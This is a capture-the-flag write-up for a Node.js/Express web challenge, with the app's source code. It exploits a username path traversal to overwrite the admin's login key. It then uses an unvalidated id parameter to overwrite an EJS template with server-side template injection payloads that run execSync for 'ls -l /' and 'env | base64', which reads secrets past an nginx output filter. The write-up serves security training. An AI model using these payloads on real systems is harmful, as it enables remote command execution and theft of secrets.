Challenge Description
- Difficulty : Hard
- Points : 400
- Categoty : Web
Source Code
- File and directory structure of given source code.
- index.js
const express = require("express");
const cookieParser = require("cookie-parser");
const sessions = require('express-session');
const body_parser = require("body-parser");
const multer = require('multer')
const crypto = require("crypto")
const path = require("path");
const fs = require("fs");
const utils = require("./utils");
const app = express();
app.set('view engine', 'ejs');
app.set('views', './views');
app.disable('view cache');
app.use(sessions({
secret: crypto.randomBytes(64).toString("hex"),
cookie: { maxAge: 24 * 60 * 60 * 1000 },
resave: false,
saveUninitialized: true
}));
app.use('/static', express.static('static'))
app.use(body_parser.urlencoded({ extended: true }));
app.use(cookieParser());
const upload = multer();
app.get("/", (req, res) => {
const article_paths = fs.readdirSync("articles");
let articles = []
for (const article_path of article_paths) {
const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n");
articles.push({
id: article_path,
date: contents[0],
title: contents[1],
summary: contents[2],
content: contents[3]
});
}
res.render("index", {session: req.session, articles: articles});
})
app.get("/article", (req, res) => {
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
try {
const contents = fs.readFileSync(article_path).toString().split("\n\n");
const article = {
id: article_path,
date: contents[0],
title: contents[1],
summary: contents[2],
content: contents[3]
}
res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
} catch {
res.sendStatus(404);
}
})
app.get("/login", (req, res) => {
res.render("login", {session: req.session});
})
app.get("/register", (req, res) => {
res.render("register", {session: req.session});
})
app.post("/register", (req, res) => {
const username = req.body.username;
const result = utils.register(username);
if (result.success) res.download(result.data, username + ".key");
else res.render("register", { error: result.data, session: req.session });
})
app.post("/login", upload.single('key'), (req, res) => {
const username = req.body.username;
const key = req.file;
const result = utils.login(username, key.buffer);
if (result.success) {
req.session.username = result.data.username;
req.session.admin = result.data.admin;
res.redirect("/");
}
else res.render("login", { error: result.data, session: req.session });
})
app.get("/logout", (req, res) => {
req.session.destroy();
res.redirect("/");
})
app.get("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
try {
const article = fs.readFileSync(article_path).toString();
res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
} catch {
res.sendStatus(404);
}
})
app.post("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
try {
fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
res.redirect("/");
} catch {
res.sendStatus(404);
}
})
app.listen(3000, () => {
console.log("Server running on port 3000");
})
- utils.js
const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");
const db = new sqlite(":memory:");
db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
admin INTEGER NOT NULL
)
`);
register("jimmy_jammy", 1);
function register(username, admin = 0) {
try {
db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
} catch {
return { success: false, data: "Username already taken" }
}
const key_path = path.join(__dirname, "keys", username + ".key");
const contents = crypto.randomBytes(1024);
fs.writeFileSync(key_path, contents);
return { success: true, data: key_path };
}
function login(username, key) {
const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
if (!user) return { success: false, data: "User does not exist" };
if (key.length !== 1024) return { success: false, data: "Invalid access key" };
const key_path = path.join(__dirname, "keys", username + ".key");
if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
return { success: true, data: user };
}
module.exports = { register, login };
- edit.ejs
<!doctype html>
<html>
<%- include('head.ejs') %>
<body class="text-dark bg-light">
<%- include('navbar.ejs') %>
<div class="container my-5 px-5">
<h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
<p class="mb-5 text-center"><%= flag %></p>
<h3>Meanwhile, please feel free to edit your article</h3>
<form method="POST">
<textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
<button type="submit" class="btn btn-dark w-100">Save Changes</button>
</form>
</div>
<%- include('scripts.ejs') %>
</body>
</html>
Walkthrough
We are given the complete source code of the challange and is a Node.js
application with Express JS
templates. Below are the first observations after reviewing the code.
- There is only one admin user in the application -
jimmy_jammy
as indicated in theutils.js
- Any other user attempting to register will automatically be a normal user.
- The registration and login is not password based and is based on some key generated cryptographically.
- The registration page asks only for a username and we cannot specify admin user
jimmy_jammy
as username as he is already registered. - The generated keys are stored in the
keys
folder with formatusername.key
. - Article
edit
functionality only available foradmin
user. - It would seem that once we get
edit
permissions as an admin user, we would get the flag as indicated by the below lines inedit.ejs
template. But this is not the case and the reason we will see later.
<html>
<%- include('head.ejs') %>
<!-- code trimmed for brevity -->
<h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
<p class="mb-5 text-center"><%= flag %></p>
<h3>Meanwhile, please feel free to edit your article</h3>
<!-- code trimmed for brevity -->
<%- include('scripts.ejs') %>
</body>
</html>
Vulnerability #1 - Path Traversal via Username
During registration, the application asks only for username. Upon registration, keys are generated for the user and is stored under keys
directory as username.key
. The username is user controllable and is not sanitized when writing the key file to the disk. Meaning we can specify ../
to go out of the keys directory and write the key file anywhere in the webroot
.
function register(username, admin = 0) {
try {
db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
} catch {
return { success: false, data: "Username already taken" }
}
const key_path = path.join(__dirname, "keys", username + ".key");
const contents = crypto.randomBytes(1024);
fs.writeFileSync(key_path, contents);
return { success: true, data: key_path };
}
How can I use this to my advantage to login as jimmy_jammy
?. What happens if I specify the following string as username during the registration process?.
- Registration username :
../keys/jimmy_jammy
When the backend code checks if username already exists, it would return false since ../keys/jimmy_jammy
!= jimmy_jammy
. However, when writing the key file to the disk, we would overwrite the user jimmy_jammy
’s key.
const key_path = path.join(__dirname, "keys", username + ".key");
// __dirname + 'keys' + '../keys/jimmy_jammy' + '.key'
This will give us the admin user jimmy_jammy
’s key and can be used to login as the admin user which will give us edit privilges.
Registering new user with username ../keys/jimmy_jammy
:
The response from server contains the key for admin user jimmy_jammy
.
Logging in as admin user.
Now we are logged in as admin user jimmy_jammy
and we have edit privileges.
Now we should have been able to view the flag on the edit page.
Vulnerability #2 - Path Traversal via id Parameter
While reviewing the code, it can be seen that all the endpoints which requires the id
parameter accepts only integer values for it as it goes through parseInt()
. However, there is an exception, which is when saving an edited article.
- In GET request to
/article?id=
, theid
parameter is parsed as an integer.
app.get("/article", (req, res) => {
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
// code trimmed for brevity
})
- In GET request to
/edit?id=
, theid
parameter is parsed as an integer.
app.get("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
// code trimmed for brevity
})
When saving an article there is no validation on the id parameter. This means that we can do path traversal via id
URL parameter when saving and overwrite any file within the webroot.
app.post("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
try {
fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
res.redirect("/");
} catch {
res.sendStatus(404);
}
})
The following POST request is sent when the admin user saves an edited page.
How can we use the path traversal on the id parameter to our advantage.?
When inspecting the views
directory, it can be seen that the scripts.ejs
file does not contain much and is included in every other template.
- scripts.ejs
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
We can overwrite the scripts.ejs
file with the following POST request. The template payload will calculate result of 7*7
and will show in all pages where scripts.ejs
template is included.
POST /edit?id=../views/scripts.ejs
article=<%= 7*7 %>
When we reload the home page, it can be seen that we have the result of 7*7
at the bottom of the page.
Now that we can execute code via templates, I used the following POST request to gain system command execution.
POST /edit?id=../views/scripts.ejs
article=<%= process.mainModule.require('child_process').execSync('ls -l /') %>
Now the scripts.ejs
file contains the following template:
<%= process.mainModule.require('child_process').execSync('ls -l /') %>
Now if we visit the home page and scroll down the page, we see the contents of the root directory /
.
Now to get the flag we just need to show the environment varaibles. We can overwrite scripts.ejs
with following data to do the same.
<%= process.mainModule.require('child_process').execSync('env') %>
However, to my surpise I dont see the flag in the response and instead I see oof, that was close, glad i was here to save the day
.
To understand why this was happening and why I was not able to view the flag in the article edit page, further investigation was required.
Everything became clear when inspecting the nginx.conf
file.
- nginx.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
location / {
# Replace the flag so nobody steals it!
sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
sub_filter_once off;
proxy_pass http://localhost:3000;
}
}
Syntax: sub_filter string replacement;
Default: —
Context: http, server, location
sub_filter - Sets a string to replace and a replacement string. The string to replace is matched ignoring the case
So in our case, it is crystal clear that if flag is present in any response, it will be replaced by the string oof, that was close, glad i was here to save the day
.
This means that the FLAG is indeed present in env
variables and is being replaced by the nginx sub_filter
directive when showing to end user.
To bypass this, we can just base64 encode the output of the env
command as follows.
<%= process.mainModule.require('child_process').execSync('env | base64') %>
Now the output contains the base64 encoded version of the env
command and would contain our intact FLAG.
Flag: BlackHatMEA{196:16:6598 3fcc21b89a19c527a84b561199886012bbfd}